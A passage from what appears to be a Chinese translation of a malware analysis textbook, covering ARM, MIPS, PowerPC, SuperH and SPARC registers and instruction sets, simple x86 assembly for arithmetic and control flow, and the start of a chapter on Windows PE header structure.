  • 执行BL(带链接分支)或BLX(带链接分支并交换)指令时。如果返回地址存储在堆栈上,它也可以用作通用寄存器。每个 CPU 模式都有一个版本。

  • R15(也称为 PC):这是一个程序计数器,指向当前执行的指令。它不是一个通用寄存器。

总的来说,在大多数 ARM 架构中,通常有 30 个通用的 32 位寄存器,包括不同 CPU 模式下具有相同名称的实例。

除此之外,还有一些其他重要的寄存器,如下所示:

  • 应用程序状态寄存器APSR):该寄存器存储 ALU 状态标志的副本,也称为条件码标志。在后来的架构中,它还保存 Q(饱和)标志和大于或等于(GE)标志。

  • 当前程序状态寄存器CPSR):该寄存器包含 APSR 以及描述当前处理器模式、状态、字节序和其他一些值的位。

  • 保存的程序状态寄存器SPSR):该寄存器在发生异常时存储 CPSR 的值,以便稍后恢复。每个 CPU 模式都有一个版本,除了用户模式和系统模式,因为它们不是异常处理模式。

浮点寄存器FPRs)的数量在 32 位架构中可能有所不同,具体取决于核心。最多可以有 32 个。

ARMv8(64 位)有 31 个通用 X0-X30 寄存器(也可以看到 R0-R30 符号)和 32 个始终可访问的 FPR。每个寄存器的低部分带有 W 前缀,可以作为 W0-W30 进行访问。

一些寄存器具有特定的用途,如下所示:

ARMv8 定义了四个异常级别(EL0-EL3),最后三个寄存器每个都保存一份副本;ELR 和 SPSR 没有 EL0 的单独副本。

没有名为 X31 或 W31 的寄存器;在许多指令中,数字 31 代表零寄存器 ZR(WZR/XZR)或 SP(用于栈相关操作)。X29 可以用作帧指针(存储原始栈位置),而 X30 可以用作链接寄存器(存储来自函数的返回值)。

关于调用约定,32 位 ARM 的 R0-R3 和 64 位 ARM 的 X0-X7 用于存储传递给函数的参数值,剩余的参数通过堆栈传递——如果需要,R0-R1 和 X0-X7(以及 X8,也称为 XR 间接)用于保存返回结果。如果返回值的类型太大,无法适配它们,那么需要分配空间并以指针的形式返回。除此之外,R12(32 位)和 X16-X17(64 位)可用作过程调用中的临时寄存器(通过所谓的外壳程序和过程链接表代码),R9(32 位)和 X18(64 位)可用作平台寄存器(用于操作系统特定的目的),如果需要;否则,它们与其他临时寄存器的使用方式相同。

如前所述,几种 CPU 模式是根据官方文档实现的,如下所示:

指令集

ARM 处理器有几种指令集:ARM 和 Thumb。当处理器执行 ARM 指令时,称其处于 ARM 状态,反之亦然。ARM 处理器通常从 ARM 状态开始;然后,程序可以通过使用 BX 指令切换到 Thumb 状态。Thumb 执行环境 (ThumbEE) 是在 ARMv7 中相对较新引入的,基于 Thumb,并进行了某些更改和添加,以便于动态生成代码。

ARM 指令的长度为 32 位(对于 AArch32 和 AArch64 都是如此),而 Thumb 和 ThumbEE 指令的长度为 16 位或 32 位(最初,几乎所有 Thumb 指令都是 16 位的,而 Thumb-2 引入了 16 位和 32 位指令的混合)。

所有指令都可以根据官方文档分为以下几类:

要与操作系统交互,可以通过使用SWI指令访问系统调用,该指令后来被重命名为SVC指令。

请参阅官方 ARM 文档,以获取任何指令的准确语法。下面是一个示例:

SVC{cond} #imm

在这种情况下,**代码将是一个条件码。ARM 支持几种条件码,如下所示:

  • EQ: 等于

  • NE: 不等于

  • CS/HS: 有进位或无符号较高或两者

  • CC/LO: 无进位或无符号较低

  • MI: 负数

  • PL: 正数或零

  • VS: 溢出

  • VC: 无溢出

  • HI: 无符号大于

  • LS: 无符号较低或两者

  • GE: 大于或等于

  • LT: 小于

  • GT: 大于

  • LE: 小于或等于

  • AL: 始终(通常省略)

  • imm: 表示立即数值

现在,让我们看看 MIPS 的基础知识。

MIPS 基础

无互锁流水线阶段的微处理器MIPS)由 MIPS 技术公司(前身为 MIPS 计算机系统)开发。与 ARM 类似,最初它是一个 32 位架构,后来增加了 64 位功能。利用 RISC 指令集架构(ISA)的优势,MIPS 处理器的特点是低功耗和低热量消耗。它们通常可以在多种嵌入式系统中找到,如路由器和网关。像索尼 PlayStation 这样的多个游戏主机也采用了它们。不幸的是,由于这一架构的普及,实施它的系统成为了多个物联网恶意软件家族的攻击目标。一个例子可以在以下截图中看到:

图 2.8 – 针对 MIPS 架构系统的物联网恶意软件

图 2.8 – 针对 MIPS 架构系统的物联网恶意软件

随着架构的演变,出现了多个版本,从 MIPS I 开始,一直到 V 版,然后是多个更新的 MIPS32/MIPS64 版本。MIPS64 与 MIPS32 向后兼容。这些基础架构可以通过可选的架构扩展(称为应用特定扩展ASEs)进一步补充,增加某些任务的性能,这些任务通常不被恶意代码广泛使用。MicroMIPS32/64 是 MIPS32 和 MIPS64 架构的超集,几乎具有相同的 32 位指令集,并增加了 16 位指令以减少代码大小。它们用于需要代码压缩的场景,专为微控制器和其他小型嵌入式设备设计。

基础知识

MIPS 支持双字节序。以下寄存器可用:

  • 32 个 GPR 寄存器 r0-r31 – 在 MIPS32 中为 32 位大小,在 MIPS64 中为 64 位大小。

  • 一个特殊用途的 PC 寄存器,仅能通过某些指令间接影响。

  • 两个专用寄存器用于存储整数乘法和除法的结果(HI 和 LO)。这些寄存器及其相关指令在第 6 版的基础指令集中被移除,现在存在于数字信号处理器DSP)模块中。

32 个 GPR 的原因很简单 – MIPS 使用 5 位来指定寄存器,因此可以有最多 2⁵ = 32 个不同的值。两个 GPR 具有特定的用途,如下所示:

  • 寄存器 r0(有时称为$0 或$zero)是一个常量寄存器,始终存储零,并提供只读访问。它可以用作/dev/null 的类似物来丢弃某些操作的输出,或者作为零值的快速源。

  • r31(也称为$ra)在过程调用分支/跳转和链接指令期间存储返回地址。

其他寄存器通常用于特定的目的,如下所示:

  • r1(也称为$at):汇编临时寄存器 – 在解决伪指令时使用

  • r2-r3(也称为$v0 和$v1):值 – 存储返回函数值。

  • r4-r7(也叫做 $a0-$a3):参数寄存器 – 用于传递函数参数。

  • r8-r15(也叫做 $t0-$t7/$a4-$a7 和 $t4-$t7):临时寄存器 – 前四个寄存器在 N32 和 N64 调用约定中也可以用来传递函数参数(另一个 O32 调用约定仅使用 r4-r7 寄存器;后续参数通过栈传递)。

  • r16-r23(也叫做 $s0-$s7):保存的临时寄存器 – 跨函数调用时保持不变。

  • r24-r25(也叫做 $t8-$t9):临时寄存器。

  • r26-r27(也叫做 $k0-$k1):通常保留给操作系统内核使用。

  • r28(也叫做 $gp):全局指针 – 指向全局区域(数据段)。

  • r29(也叫做 $sp):栈指针。

  • r30(也叫做 $s8 或 $fp):保存的值/帧指针 – 存储原始栈指针(函数调用前的值)。

MIPS 还提供以下协处理器:

  • CP0:系统控制

  • CP1:FPU

  • CP2:特定实现

  • CP3:FPU(具有专用的 COP1X 操作码类型指令)

指令集

大多数主要指令在 MIPS I 和 II 中引入。MIPS III 引入了 64 位整数和地址,而 MIPS IV 和 V 改进了浮点运算,并增加了一组新的指令以提高整体效率。每条指令的长度都是固定的 – 即 32 位(4 字节) – 所有指令都以一个占 6 位的操作码开始。支持的三种主要指令格式是 R、I 和 J:

对于与 FPU 相关的操作,存在类似的 FR 和 FI 类型。

除此之外,还存在一些其他不常见的格式,主要是协处理器和扩展相关的格式。

在文档中,寄存器通常会带有以下后缀:

  • 源(s)

  • 目标(t)

  • 目标(d)

所有指令都可以根据功能类型分为以下几组:

  • JR:跳转寄存器(J 格式)

  • BLTZ:小于零时分支(I 格式)

  • LB:加载字节(I 格式)* SW:存储字(I 格式)* ADDU:无符号加法(R 格式)* XOR:异或(R 格式)* SLL:逻辑左移(R 格式)* SYSCALL:系统调用(自定义格式)* BREAK:断点(自定义格式)

浮点指令通常会有类似名称来表示相同类型的操作,比如 ADD.S。一些指令则较为独特,例如“检查是否相等”(C.EQ.D)。

如我们所见,这些基本组可以适用于几乎任何架构,唯一的区别在于它们的实现。一些常见的操作可能会获得指令以利用优化,从而减少代码大小并提高性能。

由于 MIPS 指令集较为简洁,因此也存在汇编宏,称为伪指令。以下是一些常用的伪指令:

  • ABS:绝对值 – 转换为 ADDUBGEZSUB 的组合

  • BLT:小于分支——相当于SLTBNE的组合

  • BGT/BGE/BLE:类似于BLT

  • LI/LA:加载立即数/地址——相当于LUIORI的组合,或者用于 16 位 LI 的ADDIU

  • MOVE:将一个寄存器的内容移动到另一个寄存器——相当于用零值的ADD/ADDIU指令

  • NOP:无操作——相当于用零值的SLL指令

  • NOT:逻辑非——相当于NOR

深入探讨 PowerPC

PowerPC代表优化性能的增强型 RISC—性能计算,有时也简称为 PPC。它是由苹果、IBM 和摩托罗拉(常缩写为 AIM)在 1990 年代初创建的。最初旨在用于 PC,并为苹果产品提供动力,包括 PowerBook 和 iMac,直到 2006 年。实现这一架构的 CPU 还出现在游戏机中,如索尼 PlayStation 3、XBOX 360 和 Wii,以及 IBM 服务器和多种嵌入式设备,如汽车和飞机控制器,甚至是著名的 ASIMO 机器人。后来,管理责任转交给了一个开放标准机构 Power.org,一些前创始公司仍然是成员,如 IBM 和 Freescale。后者脱离摩托罗拉并被 NXP 半导体收购。OpenPOWER 基金会是 IBM、谷歌、NVIDIA、Mellanox 和 Tyan 的新兴合作项目,旨在促进这一技术的协作开发。

PowerPC 主要基于 IBM 的 POWER ISA。后来,发布了一个统一的 Power ISA,将 POWER 和 PowerPC 合并为一个单一的 ISA,现在在多个 Power 架构下的产品中使用。

有很多面向该架构的物联网恶意软件家族。

基础

Power ISA 被分为多个类别,每个类别可以在规范或书籍的特定部分找到。CPU 根据其类别实现这些类别的集合;只有基础类别是强制性的。

下面是最新第二版标准中主要类别及其定义的列表:

  • Base:在第一册(Power ISA 用户指令集架构)和第二册(Power ISA 虚拟环境架构)中有介绍

  • Server:在第三册-S(Power ISA 操作环境架构—服务器环境)中有介绍

  • Embedded:在第三册-E(Power ISA 操作环境架构—嵌入式环境)中有介绍

还有许多更为细化的类别,涵盖了诸如浮点操作和某些指令的缓存等方面。

另一本书,Book VLE(Power ISA 操作环境架构—可变长度编码(VLE)指令架构),定义了替代指令和定义,旨在通过使用 16 位指令而非常见的 32 位指令来提高代码的密度。

Power ISA 版本 3 由三本书组成,名称与先前标准的第一至第三本书相同,环境间没有区别。

处理器以大端模式启动,但可以通过改变机器状态寄存器MSR)中的一个位来切换,从而支持双端模式。

许多寄存器组在 Power ISA 中有文档记录,主要围绕相关设施或类别进行分组。以下是最常用的一些基本总结:

  • 32 个 GPR 用于整数操作,通常仅通过它们的编号使用(64 位)

  • 64 个向量标量寄存器VSRs)用于向量操作和浮点操作:

    • 作为 VSR 的一部分,32 个向量寄存器VRs),用于向量操作(128 位)

    • 作为 VSR 的一部分,32 个 FPR 用于浮点操作(64 位)

  • 专用定点设施寄存器,例如以下内容:

    • 定点异常寄存器XER),包含多个状态位(64 位)
  • 分支设施寄存器:

    • 条件寄存器 (CR):由八个 4 位字段组成,CR0-CR7,涉及控制流和比较等内容(32 位)

    • 链接寄存器(LR):提供分支目标地址(64 位)

    • 计数寄存器(CTR):保存循环计数(64 位)

    • 目标访问寄存器(TAR):指定分支目标地址(64 位)

  • 定时器设施寄存器:

    • 时间基准(TB):以定义的频率周期性增加(64 位)
  • 来自特定类别的其他专用寄存器,包括以下内容:

    • 累加器ACC)(64 位):信号处理引擎SPE)类别

通常,函数可以通过寄存器传递所有参数,用于非递归调用;额外的参数通过栈传递。

指令集

大多数指令为 32 位;只有 VLE 组的指令较小,以提供更高的代码密度,适用于嵌入式应用。所有指令分为以下三类:

  • 已定义:所有指令都在 Power ISA 文档中定义。

  • 非法:用于 Power ISA 的未来扩展。尝试执行它们将会调用非法指令错误处理程序。

  • 保留:分配给 Power ISA 范围之外的特定用途。尝试执行这些指令将会导致执行已实现的操作,或在实现不可用时调用非法指令错误处理程序。

位 0 到 5 始终指定操作码,许多指令也具有扩展操作码。支持大量的指令格式;以下是一些示例:

  • I-FORM [OPCD+LI+AA+LK]

  • B-FORM [OPCD+BO+BI+BD+AA+LK]

每个指令字段都有缩写和含义;参考官方 Power ISA 文档获取完整的指令和它们相应格式的列表是有意义的。就 I-FORM 而言,它们如下:

  • OPCD:操作码

  • LI:立即数字段,用于指定一个 24 位有符号的二进制补码整数

  • AA:绝对地址位

  • LK: 链接位,影响链接寄存器

指令也根据相关设施和类别分为不同组,因此它们与寄存器非常相似:

  • 分支指令:

    • b/ba/bl/bla: 分支

    • bc/bca/bcl/bcla: 分支条件

    • sc: 系统调用

  • 固定点指令:

    • lbz: 加载字节并清零

    • stb: 存储字节

    • addi: 加法立即数

    • ori: 或操作立即数

  • 浮点指令:

    • fmr: 浮点寄存器移动

    • lfs: 加载单精度浮点数

    • stfd: 存储双精度浮点数

  • SPE 指令:

    • brinc: 位反转递增

涵盖了 SuperH 汇编语言

SuperH,通常缩写为 SH,是由日立开发的 RISC 指令集架构(ISA)。SuperH 经历了多个版本,从 SH-1 开始,发展到 SH-4。较新的 SH-5 有两种操作模式,其中一种与 SH-4 的用户模式指令相同,而另一种 SHmedia 则大相径庭。每个系列都有其市场定位:

  • SH-1: 家用电器

  • SH-2: 汽车控制器和视频游戏控制台,如 Sega Saturn

  • SH-3: 移动应用,如车载导航系统

  • SH-4: 汽车多媒体终端和视频游戏控制台,如 Sega Dreamcast

  • SH-5: 高端多媒体应用

实现此架构的微控制器和 CPU 目前由瑞萨电子生产,瑞萨是日立和三菱半导体集团的合资企业。由于 IoT 恶意软件主要针对基于 SH-4 的系统,因此我们将重点关注此 SuperH 系列。

基本概念

在寄存器方面,SH-4 提供了以下功能:

  • 16 个通用寄存器 R0-R15(32 位)

  • 七个控制寄存器(32 位):

    • 全局基址寄存器 (GBR)

    • 状态寄存器 (SR)

    • 保存状态寄存器 (SSR)

    • 保存程序计数器 (SPC)

    • 向量基址计数器 (VBR)

    • 保存通用寄存器 15 (SGR)

    • 调试基址寄存器 (DBR)(仅限特权模式)

  • 四个系统寄存器(32 位):

    • MACH/MACL: 乘法累加寄存器

    • PR: 程序寄存器

    • PC: 程序计数器

    • FPSCR: 浮点状态/控制寄存器

  • 32 个 FPU 寄存器——即 FR0-FR15(也称为 DR0/2/4/... 或 FV0/4/...)和 XF0-XF15(也称为 XD0/2/4/... 或 XMTRX);两个银行,每个银行包含 16 个单精度(32 位)或 8 个双精度(64 位)浮点寄存器和 FPULs (浮点通信寄存器)(32 位)

通常,R4-R7 用于传递函数参数,结果则保存在 R0 中。R8-R13 在多次函数调用之间保存。R14 作为帧指针,R15 作为栈指针。

关于数据格式,在 SH-4 中,一个字占 16 位,一个长字占 32 位,一个四字占 64 位。

支持两种处理器模式:用户模式和特权模式。SH-4 通常在用户模式下操作,并在发生异常或中断时切换到特权模式。

指令集

SH-4 具有向后兼容 SH-1、SH-2 和 SH-3 系列的指令集。它使用 16 位固定长度指令来减少程序代码的大小。除了BFBT外,所有分支指令和RTE(异常返回指令)都实现了所谓的延迟分支,其中分支后面的指令在分支目标指令之前执行。

所有指令分为以下类别(包含一些示例):

  • 定点传输指令:

    • MOV: 移动数据(或指定的特定数据类型)

    • SWAP: 交换寄存器的半部分

  • 算术运算指令:

    • SUB: 减去二进制数

    • CMP/EQ: 有条件比较(在这种情况下,比较相等)

  • 逻辑运算指令:

    • AND: 逻辑与

    • XOR: 排他性逻辑或

  • 移位/旋转指令:

    • ROTL: 左旋转

    • SHLL: 逻辑左移

  • 分支指令:

    • BF: 如果为假则跳转

    • JMP: 跳转(无条件分支)

  • 系统控制指令:

    • LDC: 加载到控制寄存器

    • STS: 存储系统寄存器

  • 浮点单精度指令:

    • FMOV: 浮点移动
  • 浮点双精度指令:

    • FABS: 浮点绝对值
  • 浮点控制指令:

    • LDS: 加载到 FPU 系统寄存器
  • 浮点图形加速指令

    • FIPR: 浮点内积

使用 SPARC

可扩展处理器架构 (SPARC) 是一种 RISC 指令集架构,最初由 Sun Microsystems(现为 Oracle 公司的一部分)开发。首个实现被用于 Sun 自家的工作站和服务器系统。之后,它被授权给多个其他制造商,其中之一是富士通。随着 Oracle 在 2017 年终止了 SPARC 设计,未来的开发由富士通继续,成为 SPARC 服务器的主要供应商。

有几种完全开源的 SPARC 架构实现。多个操作系统目前支持它,包括 Oracle Solaris、Linux 和 BSD 系统,同时多种物联网恶意软件家族也为其提供了专门的模块。

基本知识

根据 Oracle SPARC 架构文档,实施可能包含 72 到 640 个通用 64 位 R 寄存器。然而,在任何时刻,只有 31/32 个 GPR 是立即可见的;其中八个是全局寄存器,R[0]至 R[7](也称为 g0-g7),第一个寄存器 g0 是硬连接到 0 的;24 个与以下寄存器窗口相关:

  • 八个输入寄存器 in[0]-in[7] (R[24]-R[31]): 用于传递参数和返回结果

  • 八个本地寄存器 local[0]-local[7] (R[16]-R[23]): 用于保留局部变量

  • 八个输出寄存器 out[0]-out[7] (R[8]-R[15]): 用于传递参数和返回结果

CALL 指令将其地址写入 out[7] (R[15]) 寄存器。

要将参数传递给函数,必须将它们放入输出寄存器中。当函数获得控制权时,它将访问这些寄存器。额外的参数可以通过栈传递。结果将放入第一个寄存器中,返回时该寄存器将变为第一个输出寄存器。SAVERESTORE指令在此切换中用于分别分配新的寄存器窗口并恢复先前的窗口。

SPARC 还具有 32 个单精度 FPR(32 位)、32 个双精度 FPR(64 位)和 16 个四倍精度 FPR(128 位),其中一些是重叠的。

此外,还有许多其他寄存器用于特定目的,包括以下内容:

  • FPRS:包含 FPU 模式和状态信息

  • 附加状态寄存器(ASR 0、ASR 2-6、ASR 19-22 和 ASR 24-28 不是保留的):这些寄存器有多个用途,包括以下内容:

    • ASR 2条件代码寄存器(CCR)

    • ASR 5:PC

    • ASR 6:FPRS

    • ASR 19通用状态寄存器GSR

  • 寄存器窗口 PR 状态寄存器PR 9-14):这些寄存器决定寄存器窗口的状态,包括以下内容:

    • PR 9:当前窗口指针(CWP)

    • PR 14:窗口状态(WSTATE)

  • 非寄存器窗口 PR 状态寄存器(PR 0-3、PR 5-8 和 PR 16):仅对在特权模式下运行的软件可见

32 位 SPARC 使用大端序,而 64 位 SPARC 使用大端指令,但可以以任何顺序访问数据。SPARC 还使用陷阱的概念,利用一个专用表将控制转移到特权软件,该表可能包含每个陷阱处理程序的前八条指令(某些常用陷阱有 32 条)。该表的基地址由软件在陷阱基地址TBA)寄存器中设置。

指令集

从内存位置获取由 PC 指定的指令并执行。然后,新的值被分配给 PC 和下一个程序计数器NPC),NPC 是一个伪寄存器。

详细的指令格式可以在各个指令描述中找到。以下是支持的基本指令类别及示例:

  • 内存访问:

    • LDUB:加载无符号字节

    • ST:存储

  • 算术/逻辑/移位整数:

    • ADD:加法

    • SLL:逻辑左移

  • 控制转移:

    • BE:等于时跳转

    • JMPL:跳转并链接

    • CALL:调用并链接

    • RETURN:从函数返回

  • 状态寄存器访问:

    • WRCCR:写入 CCR
  • 浮点运算:

    • FOR:F 寄存器的逻辑或
  • 条件移动:

    • MOVcc:当选择的条件代码(cc)条件为真时移动
  • 寄存器窗口管理:

    • SAVE:保存调用者的窗口

    • FLUSHW:刷新寄存器窗口

  • FPSUB:F 寄存器的分区整数减法

从汇编语言到高级编程语言的转变

开发人员通常不会直接编写汇编代码,而是使用更高级的语言,如 C 或 C++,然后编译器将这些高级代码转换为汇编语言中的低级表示。在本节中,我们将查看不同的汇编代码块。

算术语句

让我们看一下不同的 C 语句以及它们在汇编中的表示方式。我们将使用 Intel IA-32 作为示例。相同的概念也适用于其他汇编语言:

  • X = 50 (假设 0x00010000 是 X 变量在内存中的地址):

    mov eax, 50
    mov dword ptr [00010000h], eax
    
  • X = Y + 50 (假设 0x00010000 表示 X,0x00020000 表示 Y):

    mov eax, dword ptr [00020000h]
    add eax, 50
    mov dword ptr [00010000h], eax
    
  • X = Y + (50 * 2):

    mov eax, dword ptr [00020000h]
    push eax    ; save Y for now
    mov eax, 50 ; do the multiplication first
    mov ebx, 2
    imul ebx    ; the result is in edx:eax
    mov ecx, eax
    pop eax     ; gets back Y value
    add eax, ecx
    mov dword ptr [00010000h], eax
    
  • X = Y + (50 / 2):

    mov eax, dword ptr [00020000h]
    push eax ; save Y for now
    mov eax, 50
    mov ebx,2
    div ebx  ; the result is in eax, and the remainder is in edx
    mov ecx, eax
    pop eax
    add eax, ecx
    mov dword ptr [00010000h], eax
    
  • X = Y + (50 % 2) (% 表示取余运算):

    mov eax, dword ptr [00020000h]
    push eax ; save Y for now
    mov eax, 50
    mov ebx, 2
    div ebx  ; the remainder is in edx
    mov ecx, edx
    pop eax
    add eax, ecx
    mov dword ptr [00010000h], eax
    

希望这能解释编译器是如何将这些算术语句转换成汇编语言的。

如果条件

基本的 if 语句可能像这样:

  • If (X == 50) (假设 0x0001000 表示 X 变量):

    mov eax, 50
    cmp dword ptr [00010000h], eax
    
  • If (X & 00001000b) (| 表示逻辑与运算):

    mov eax, 000001000b
    test dword ptr [00010000h], eax
    

为了理解分支和流向重定向,我们来看一下下面的图表,它展示了在伪代码中的表现形式:

图 2.9 – 条件流向重定向

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ms-mlw-anal-2e/img/Figure_2.9_B18500.jpg)

图 2.9 – 条件流向重定向

要在汇编中应用此分支序列,编译器使用条件跳转和无条件跳转的混合方式,具体如下:

  • IF.. THEN.. ENDIF:

    cmp dword ptr [00010000h], 50
    jnz 3rd_Block ; if not true
    …
    Some Code
    …
    3rd_Block:
    Some code
    
  • IF.. THEN.. ELSE.. ENDIF:

    cmp dword ptr [00010000h], 50
    jnz Else_Block ; if not true
    ...
    Some code
    ...
    jmp 4th_Block  ; Jump after Else
    Else_Block:
    ...
    Some code
    ...
    4th_Block:
    ...
    Some code
    

While 循环条件

while 循环条件与 if 条件在汇编中的表示方式非常相似:

While (X == 50) {…} 1st_Block:``cmp dword ptr [00010000h], 50``jnz 2nd_Block ; 如果不成立``…``jmp 1st_Block``2nd_Block:``…
Do While(X == 50) 1st_Block:``…``cmp dword ptr [00010000h], 50``jz 1st_Block ; 如果成立

总结

在本章中,我们介绍了计算机编程的基本知识,描述了多个 CISC 和 RISC 架构之间共享的通用元素。接着,我们详细讲解了多种汇编语言,包括 Intel x86、ARM、MIPS 等,并了解了它们的应用领域,这些都影响了它们的设计和结构。我们还讨论了每种语言的基本概念,学习了最重要的术语(例如使用的寄存器和支持的 CPU 模式),了解了指令集的结构,发现了支持的操作码格式,并探索了使用的调用约定。最后,我们从低级汇编语言讲解到它们在 C 或其他类似语言中的高级表示,并熟悉了一些通用代码块的例子,如 if 条件和循环。

阅读完这一章后,你应该能够阅读不同汇编语言的反汇编代码,并理解它可能代表的高级代码。虽然本章并不旨在全面覆盖所有内容,但其主要目标是为你提供一个坚实的基础,并指引你如何在分析实际恶意代码之前进一步加深知识。这应该是你开始学习如何对不同平台和设备进行静态代码分析的起点。

第三章x86/x64 的基本静态与动态分析中,我们将开始针对特定平台分析实际的恶意软件。我们已熟悉的指令集将作为描述其功能的语言。

第二部分:深入解析 Windows 恶意软件

Windows 仍然是最普遍的个人电脑操作系统,因此,现有大多数恶意软件家族都集中在这个平台上也不足为奇。此外,由于高度关注和众多知名攻击者的参与,Windows 恶意软件采用了许多多样化和复杂的技术,这些技术在其他系统中并不常见。在这里,我们将详细讲解这些技术,并通过多个真实世界的示例教你如何进行分析。

本节包括以下章节:

  • 第三章*,x86/x64 的基本静态与动态分析*

  • 第四章*,解包、解密与去混淆*

  • 第五章*,检查进程注入和 API 钩子*

  • 第六章*,绕过反向工程技术*

  • 第七章*,理解内核模式 Rootkit*

第三章:x86/x64 的基本静态和动态分析

在本章中,我们将介绍分析 Windows 平台上 32 位或 64 位恶意软件所需掌握的核心基础知识。我们将介绍Windows 可执行文件头PE 头部),并了解它如何帮助我们回答不同的事件响应和威胁情报问题。

我们还将讲解静态和动态分析的概念和基础,包括进程和线程、进程创建流程以及 WOW64 进程。最后,我们将介绍进程调试,包括设置断点和修改程序执行。

本章将帮助你通过解释理论和提供实用知识来执行恶意软件样本的基本静态和动态分析。通过这样做,你将学习到恶意软件分析所需的工具。

在本章中,我们将涵盖以下主题:

  • 使用 PE 头部结构

  • 静态和动态链接

  • 使用 PE 头部信息进行静态分析

  • PE 加载和进程创建

  • 使用 OllyDbg 和 x64dbg 进行动态分析基础

  • 调试恶意服务

  • 行为分析要点

使用 PE 头部结构

当你开始对文件进行基本的静态分析时,首要的有价值的信息来源将是 PE 头部。PE 头部是任何可执行 Windows 文件遵循的结构。

它包含各种信息,例如支持的系统、包含代码和数据(如字符串、图像等)的段的内存布局,以及各种元数据,帮助系统正确加载和执行文件。

在本节中,我们将探讨 PE 头部结构,学习如何分析 PE 文件并读取其信息。

为什么选择 PE?

可执行文件结构能够解决之前结构中出现的多个问题,例如用于 MS-DOS 可执行文件的 MZ 格式。它代表了任何可执行文件的完整设计。PE 结构的一些特点如下:

  • 它将代码和数据分隔到不同的段中,使得数据可以与程序分开管理,并能够在汇编代码中重新链接任何字符串。

  • 每个部分都有独立的内存权限,作为对每个程序虚拟内存的安全层。这些权限旨在允许或拒绝对特定内存页面的读取、对特定内存页面的写入或对特定内存页面的代码执行。一页内存通常为0x1000字节,即十进制的4,096字节。

  • 文件在内存中展开(在硬盘上占用较少的空间),这使得您可以为未初始化的变量(应用程序使用前没有分配特定值的变量)创建空间,同时节省硬盘空间。

  • 它支持动态链接(通过导入导出目录),这是一项非常重要的技术,我们将在本章稍后讨论。

  • 它支持重定位,允许程序在内存中加载到不同的位置,而不是它设计时要加载的位置。

  • 它支持资源部分,可以存储任何额外的文件,例如图标。

  • 它支持多个处理器、子系统和文件类型,这使得 PE 结构可以在许多平台上使用,例如 Windows CE 和 Windows Mobile。

现在,让我们谈谈 PE 结构的样子。

探索 PE 结构

在本节中,我们将深入探讨 Windows 操作系统中典型可执行文件的结构。微软使用这种结构表示 Windows 操作系统中的多个文件,例如应用程序或库,适用于多种设备类型,如个人电脑、平板电脑和移动设备。

MZ 头部

在 MS-DOS 早期,Windows 和 DOS 共存,并且两者都使用相同扩展名的可执行文件,.exe。因此,每个 Windows 应用程序都必须以一个小的 DOS 应用程序开始,该程序打印一条消息,表示该程序无法在 DOS 模式下运行(或任何类似的消息)。这样,当 Windows 应用程序在 DOS 环境中执行时,开始的这个小 DOS 应用程序会执行并向用户打印消息,提示在 Windows 环境中运行。下图展示了 PE 文件头的高级结构,其中DOS 程序的 MZ 头位于开始部分:

图 3.1 – 示例 PE 结构

该 DOS 头部以MZ魔术值开始,并以一个叫做e_lfanew的字段结束,该字段指向可移植执行文件PE 头)的开始。

PE 头部

PE 头部以两个字母PE开始,后跟两个重要的头部,即文件头和可选头。接下来,所有附加结构都由数据目录数组指向。

文件头

本头部的一些重要值如下:

图 3.2 – 文件头解释

高亮显示的值如下:

  1. Machine:此字段表示处理器类型——例如,0x14c 表示 Intel 386 或更高版本的处理器。

  2. NumberOfSections:该值表示头部之后的节的数量,例如代码节、数据节或资源节(用于文件或图像)。

  3. TimeDateStamp:这是该程序编译的确切日期和时间。它对于威胁情报和创建攻击时间线非常有用。

  4. Characteristics:该值表示可执行文件的类型,并指定它是程序还是动态链接库(我们将在本章后面讨论)。

现在,让我们来谈谈可选头部。

可选头部

在文件头之后,可选头部带来了更多的信息,如下所示:

图 3.3 – 可选头部解释

以下是该头部中的一些最重要的值:

  1. 魔术值:此值标识 PE 文件支持的平台(是否是 x86 或 x64)。

  2. 入口点地址:这是我们分析中非常重要的字段,它指向程序执行的起始点(程序中要执行的第一个汇编指令),相对于其起始地址(基址)。这种类型的地址被称为相对虚拟地址RVA)。

  3. 镜像基址:这是程序设计为加载到虚拟内存的地址。所有使用绝对地址的指令将期望该值作为程序基址。如果程序有重定位表,它可以加载到不同的基址。在这种情况下,所有这类指令将由 Windows 加载器根据该表进行更新。

  4. 节对齐:每个节和所有头部的大小在加载到内存时应该与此值对齐(通常此值为 0x1000)。

  5. 文件对齐:PE 文件中每个节的大小(以及所有头部的大小)必须与此值对齐(例如,对于一个大小为 0x1164 的节,如果文件对齐值为 0x200,则该节的大小将变更为 0x1200)。

  6. 主要子系统版本:表示运行该应用程序所需的最低 Windows 版本,如 Windows XP 或 Windows 7。

  7. 镜像大小:这是整个应用程序在内存中的大小(通常由于未初始化数据、不同的对齐方式以及其他原因,它大于硬盘上的文件大小)。

  8. 头部大小:这是所有头部的大小。

  9. 子系统:指示该程序可能是一个 Windows UI 应用程序、控制台应用程序或驱动程序,或者它也可能运行在其他 Windows 子系统上,例如 Microsoft POSIX。

可选头部以数据目录列表结束。

数据目录

数据目录数组指向可能包含在可执行文件中的其他结构列表,并非每个应用程序中都必定包含这些结构。

它包含了以下格式的 16 个条目:

  • 地址:指向内存中结构的开始位置(从文件的起始部分)。

  • 大小:这是对应结构的大小。

数据目录包含了许多不同的值;并非所有的值对于恶意软件分析来说都非常重要。以下是一些需要提及的重要条目:

  • 导入目录:表示程序中没有包含但希望从其他可执行文件或库(DLL)中导入的函数(或 API)。

  • 导出目录:表示程序中包含在代码中的函数(或 API),并希望导出以供其他应用程序使用。

  • 资源目录:此目录始终位于资源部分的开始,其作用是表示程序中的包文件,例如图标、图片等。

  • 重定位目录:它总是位于重定位节的起始位置,用于在 PE 文件加载到内存中的其他位置时修复代码中的地址。

  • TLS 目录线程局部存储TLS)指向在入口点之前会执行的函数。它可以用来绕过调试器,稍后我们将详细讨论这一点。

数据目录之后,有一个节表。

节表

在数据目录数组的 16 个条目之后,便是节表。每个节表条目代表 PE 文件中的一个节。节的总数是存储在FileHeader中的NumberOfSections字段中的数字。

这里是一个例子:

图 3.4 – 节表示例

这些字段用于以下目的:

  • Name:节的名称(最大 8 字节)。

  • VirtualSize:节的大小(在内存中)。

  • VirtualAddress:指向内存中节的起始位置的指针(作为 RVA)。

  • SizeOfRawData:节的大小(在硬盘上)。

  • PointerToRawData:指向硬盘上文件中节的起始位置的指针(相对于文件的起始位置)。这种类型的地址称为偏移量。

  • Characteristics:内存保护标志(主要有EXECUTEREADWRITE)。

现在,让我们讨论一下 Rich 头。

Rich 头

